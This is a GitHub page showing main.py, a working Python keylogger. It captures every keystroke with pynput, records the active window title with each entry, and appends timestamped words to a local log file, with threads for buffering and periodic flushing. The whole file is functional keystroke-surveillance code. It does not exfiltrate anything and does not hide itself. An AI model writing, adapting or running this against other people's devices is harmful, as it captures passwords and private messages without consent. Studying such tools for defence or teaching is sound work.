-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmain.py
More file actions
181 lines (149 loc) · 8.23 KB
/
Copy pathmain.py
File metadata and controls
181 lines (149 loc) · 8.23 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
import queue
import threading
import time
import pygetwindow as gw
from datetime import datetime
from pynput import keyboard
LOG_FILE = "test.log"
key_queue = queue.Queue()
TIME_WINDOW = 2.0
FLUSH_INTERVAL = 300
MAX_BUFFER_SIZE = 50
KEY_ACTIONS = {
'space': ' ',
'enter': '\n',
'tab': '\t',
'backspace': '\x08',
'shift': '',
'shift_r': '',
'ctrl': '',
'ctrl_r': '',
'alt': '',
'alt_l': '',
'alt_r': '',
'caps_lock': '',
'up': '',
'down': '',
'left': '',
'right': '',
'home': '',
'end': '',
}
WORD_TRIGGERS = {' ', '\t', ',', '!', '?'} # these characters end a word
LINE_TRIGGER = '\n' # this character ends a line
# track window outside on_press so it persists between keystrokes
current_window_cache = "Unknown" # stores last known window title
last_window_check = 0 # stores when we last queried the OS
WINDOW_CHECK_INTERVAL = 0.2 # how often to query the OS (seconds)
listener_ready = threading.Event()
def on_press(key):
global current_window_cache, last_window_check # tell Python to use the outer variables
if not listener_ready.is_set():
listener_ready.set()
now = time.time()
# only call getActiveWindow() every 500ms — not on every keypress
# this prevents the first keypress from being lost to a slow system call
if now - last_window_check >= WINDOW_CHECK_INTERVAL:
active = gw.getActiveWindow()
current_window_cache = active.title if active else "Unknown" # update cache
last_window_check = now # reset timer
# use cached window title — always available instantly, even on first keypress
try:
key_queue.put(('CHAR', key.char, now, current_window_cache))
except AttributeError:
key_name = str(key).replace('Key.', '')
action = KEY_ACTIONS.get(key_name, None)
if action is not None and action != '':
key_queue.put(('CHAR', action, now, current_window_cache))
def interval_trigger(q):
# runs on Thread 3 — completely independent of typing activity
# sleeps for exactly 5 minutes then sends a flush signal through the queue
while True:
time.sleep(FLUSH_INTERVAL) # block for 5 minutes
q.put(('INTERVAL', None, time.time(), None)) # wake up writer and tell it to flush
def flush(buffer, f, suffix='', window_title=''):
# helper — writes buffer contents to file then clears the buffer
# suffix tags the entry so we know why it was flushed
word = ''.join(buffer).strip() # join all chars into one string, remove whitespace
if word: # only write if there's something to write
timestamp = datetime.now().strftime("%H:%M:%S.%f") # current time with microseconds
f.write(f"[{timestamp}] [{window_title}] {word}{suffix}\n") # write timestamped entry
f.flush() # force write to disk immediately, don't wait for OS
buffer.clear() # empty the buffer regardless of whether anything was written
def writer(q):
# runs on Thread 2 — owns the buffer and file handle exclusively
# nothing else touches these directly
buffer = [] # accumulates characters between flushes
last_received = time.time() # tracks when the last keypress arrived
current_window = None # tracks which window the buffer belongs to
with open(LOG_FILE, "a", encoding='utf-8') as f: # open once, keep open for the session
while True:
try:
# wait up to 0.1s for an item — short timeout so idle check stays responsive
kind, value, ts, window_title = q.get(timeout=0.1)
last_received = ts # update last keypress time
# Handle window switch first (flush previous window's buffer, keep the char)
if window_title != current_window:
flush(buffer, f, ' [window_switch]', current_window)
current_window = window_title
# Now handle the actual key type
if kind == 'INTERVAL': # signal from interval thread
flush(buffer, f, ' [interval]', window_title) # hard flush regardless of buffer state
elif kind == 'REFRESH_WINDOW': # signal to refresh window cache
pass
elif value is None: # poison pill — program is shutting down
flush(buffer, f, ' [shutdown]', window_title) # flush whatever is left
break # exit the loop, thread ends cleanly
elif value == LINE_TRIGGER: # enter was pressed
flush(buffer, f, ' [newline]', window_title) # flush and mark as newline
elif value in WORD_TRIGGERS: # space or punctuation
flush(buffer, f, '', window_title) # flush as a complete word, no tag
key_queue.put(('REFRESH_WINDOW', None, time.time(), None))
elif value == '\x08': # backspace — remove last character from buffer
if buffer:
buffer.pop() # remove last character from buffer
else:
buffer.append(value) # regular character — add to buffer
if len(buffer) >= MAX_BUFFER_SIZE: # buffer too large
flush(buffer, f, ' [size]', window_title) # flush immediately
except queue.Empty:
# nothing arrived in the last 0.1s — check if idle time has been exceeded
if buffer and (time.time() - last_received) >= TIME_WINDOW:
flush(buffer, f, ' [timeout]', current_window) # flush stale buffer
def main():
print(f"[*] Keylogger started. Logging to '{LOG_FILE}'. Press Ctrl+C to stop.")
print(f"[*] Window check interval: {WINDOW_CHECK_INTERVAL}s | Idle timeout: {TIME_WINDOW}s | Max buffer: {MAX_BUFFER_SIZE} chars")
global current_window_cache, last_window_check
active = gw.getActiveWindow()
current_window_cache = active.title if active else "Unknown"
last_window_check = time.time() # set to now so first keypress skips the OS call
# create and start the writer thread
# daemon=True means it dies automatically when the main thread exits
t_writer = threading.Thread(target=writer, args=(key_queue,), daemon=True)
t_writer.start()
# create and start the interval thread
# also daemon so it dies on exit without needing explicit cleanup
t_interval = threading.Thread(target=interval_trigger, args=(key_queue,), daemon=True)
t_interval.start()
try:
# start the keyboard listener — this creates Thread 1 internally
# listener.join() blocks main thread here until Ctrl+C or listener stops
with keyboard.Listener(on_press=on_press) as listener:
listener_ready.wait(timeout=5.0) # wait for first keypress confirmation
listener.join() # then block until Ctrl+C or listener stops
finally:
# this block ALWAYS runs no matter how the program exits:
# — normal stop
# — Ctrl+C (KeyboardInterrupt)
# — any unhandled exception
# without this, Ctrl+C could skip the poison pill and kill the writer mid-flush
# send poison pill — tells writer thread to flush remaining buffer and stop cleanly
# None as the value is the agreed signal that means "we are shutting down"
key_queue.put(('CHAR', None, time.time(), None))
# block main thread here until writer finishes processing everything in the queue
# without this line, the process could exit before the last flush completes
t_writer.join()
# t_interval does not need joining — daemon=True kills it automatically on exit
# it has no buffer or file handle so there's nothing to clean up
if __name__ == "__main__":
main()